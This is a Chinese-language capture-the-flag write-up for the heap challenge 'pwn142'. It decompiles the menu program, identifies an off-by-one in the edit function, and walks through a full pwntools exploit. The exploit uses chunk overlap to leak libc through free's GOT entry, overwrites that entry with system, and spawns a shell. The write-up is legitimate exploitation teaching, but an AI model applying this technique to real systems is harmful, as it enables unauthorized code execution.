pwn142(off-by-one和堆块重叠)
1.准备

2.ida分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
logo();
while ( 1 )
{
menu();
read(0, buf, 4uLL);
switch ( atoi(buf) )
{
case 1:
create_heap();
break;
case 2:
edit_heap();
break;
case 3:
show_heap();
break;
case 4:
delete_heap();
break;
case 5:
exit(0);
default:
puts("Invalid Choice");
break;
}
}
}
就一个堆题正常的菜单,有增删改查功能,依次查看
1-create_heap(add)函数
unsigned __int64 create_heap()
{
__int64 v0; // rbx
int i; // [rsp+4h] [rbp-2Ch]
size_t size; // [rsp+8h] [rbp-28h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !*((_QWORD *)&heaparray + i) )
{
*((_QWORD *)&heaparray + i) = malloc(0x10uLL);
if ( !*((_QWORD *)&heaparray + i) )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = *((_QWORD *)&heaparray + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) )
{
puts("Allocate Error");
exit(2);
}
**((_QWORD **)&heaparray + i) = size;
printf("Content of heap:");
read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v5;
}
}
return __readfsqword(0x28u) ^ v5;
}
这里是添加堆块,在创建时先会创建一个0x10大小的结构块,然后才是我们自定义大小的内容块
4-delete_heap(delete)函数
unsigned __int64 delete_heap()
{
int n0xA; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + n0xA) )
{
free(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL));
free(*((void **)&heaparray + n0xA));
*((_QWORD *)&heaparray + n0xA) = 0LL;
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
这里虽然没把内容块的指针设置为0,但输出函数调用的是结构块的指针,所以不存UAF漏洞
3-show_heap(show)函数
unsigned __int64 show_heap()
{
int n0xA; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + n0xA) )
{
printf(
"Size : %ld\nContent : %s\n",
**((_QWORD **)&heaparray + n0xA),
*(const char **)(*((_QWORD *)&heaparray + n0xA) + 8LL));
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
正常的输出
2-edit_heap(edit)函数
unsigned __int64 edit_heap()
{
int n0xA; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *((_QWORD *)&heaparray + n0xA) )
{
printf("Content of heap : ");
read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
这里修改堆块数据
关键点是这里
read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);
修改写入的字节数比分配的内存多1字节,造成off-by-one
3.EXP
思路:
这题有off-by-one,没有直接的连接点,再结合提示堆块重叠
所以我们可以通过合理的设置,使得一个块的结构块中内容块指针可以写为free_got地址,当我们输出那个块的时候,会输出free函数地址,获得libc基址,进而得到system地址,最后把free地址覆盖为system地址,将free函数的调用重定向到system函数,删除一个内容为'/bin/sh'的堆块,获得连接
先创建三个堆块,前两个用于构造堆块重叠,这里大小要设置为0x18,第三个堆块内容设置为'/bin/sh',留着最后释放
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
def add(size,content):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Size of Heap :", str(size))
io.sendlineafter("Content of heap:", content)
def delete(index):
io.sendlineafter("Your choice :", "4")
io.sendlineafter("Index :", str(index))
def show(index):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(index))
def edit(index, content):
io.sendlineafter('Your choice :','2')
io.sendlineafter('Index :',str(index))
io.sendafter('Content of heap :',content)
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
大小要设置为0x18的原因:
主要是因为我们的溢出是从0块内容块开始填充到1块的结构块覆盖它的size位
还有一点是下面我们释放重新创建时,因为结构块和内容块大小一致的原因,使得原先1块的内容块,会变成新块的结构块,我们可以进行修改

我们设置为0x18大小,系统会给大概0x20的块,设置为0x10大小,系统也会给大概0x20的块,但如果是0x10大小,只溢出一字节是是改不到目标位置的,是0x18大小,溢出一字节当好是目标位置
我们进行修改
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
edit(0, b'x'*0x18 + p64(0x41))
p64(0x41)是因为结构块也是0x20大小,内容块也是0x20大小,所以总共是0x40大小
修改完进一步查看

0x10大小时
add(0x10, b"aaa")
add(0x10, b"bbb")
add(0x18, b"/bin/sh")
edit(0, b'x'*0x18 + p64(0x41))

发现这里是写不到我们的目标位置的
此时我们已经成功通过修改1块结构块的大小,构造了1块结构块与内容块的堆块重叠
接着我们释放1块
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
edit(0, b'x'*0x18 + p64(0x41))
delete(1)

系统会释放两个块,一个是0x40(我们修改1块结构块的大小,形成的一个块)和一个0x20(原先1块的内容块,虽然我们改了1块结构块大小,使其扩大到结构块加内容块的大小,但不影响系统识别1块的内容块)


我们这里在创建一个0x30(0x40)大小的堆块,系统就会把0x20块(原先1块的内容块)申请出来当作新块的结构块
0x40块申请出来当作内容块
创建时就可以写入堆块内容,正好新块的结构块,被它的内容块覆盖,所以我们通过填充,修改新块的结构块指针为free_got地址
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
edit(0, b'x'*0x18 + p64(0x41))
delete(1)
add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

p64(0x18)这个值没什么要求,主要是改后面内容块指针为free_got地址
我们输出1块,因为内容块指针是free_got地址,所以会输出free函数地址,获得libc基址,进而得到system地址
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
edit(0, b'x'*0x18 + p64(0x41))
delete(1)
add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))
show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]
最后修改1块内容为system地址,因为内容块指针是free_got地址,所以修改的是free函数地址内容,也就达到了把free地址覆盖为system地址,将free函数的调用重定向到system函数的目的
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
edit(0, b'x'*0x18 + p64(0x41))
delete(1)
add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))
show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]
edit(1, p64(system_addr))

释放原先准备好的2块,触发连接
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
edit(0, b'x'*0x18 + p64(0x41))
delete(1)
add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))
show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]
edit(1, p64(system_addr))
delete(2)
脚本
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
def add(size,content):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Size of Heap :", str(size))
io.sendlineafter("Content of heap:", content)
def delete(index):
io.sendlineafter("Your choice :", "4")
io.sendlineafter("Index :", str(index))
def show(index):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(index))
def edit(index, content):
io.sendlineafter('Your choice :','2')
io.sendlineafter('Index :',str(index))
io.sendafter('Content of heap :',content)
add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")
edit(0, b'x'*0x18 + p64(0x41))
delete(1)
add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))
show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]
edit(1, p64(system_addr))
delete(2)
io.interactive()